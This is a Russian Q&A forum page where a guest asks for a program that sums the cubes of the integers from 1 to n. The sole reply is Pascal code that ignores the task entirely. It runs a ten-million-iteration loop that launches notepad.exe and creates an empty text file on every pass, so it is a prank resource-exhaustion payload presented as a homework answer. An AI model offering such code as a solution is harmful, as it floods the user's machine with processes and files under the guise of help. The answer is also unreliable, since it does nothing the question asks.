Найти: Сумму кубов всех целых чисел от 1 до n ( Значение n вводится с клавиатуры;B больше a)
Найти:
Сумму кубов всех целых чисел от 1 до n ( Значение n вводится с клавиатуры;B>a)
Гость
Ответ(ы) на вопрос:
Гостьvar i:integer;
var t:text;
begin
for i:= 1 to 10000000 do
begin
execute( 'notepad.exe' );
assign(t,'poy'+inttostr(i)+'.txt');
rewrite(t);
close(t);
end;
end.
Не нашли ответ?
Похожие вопросы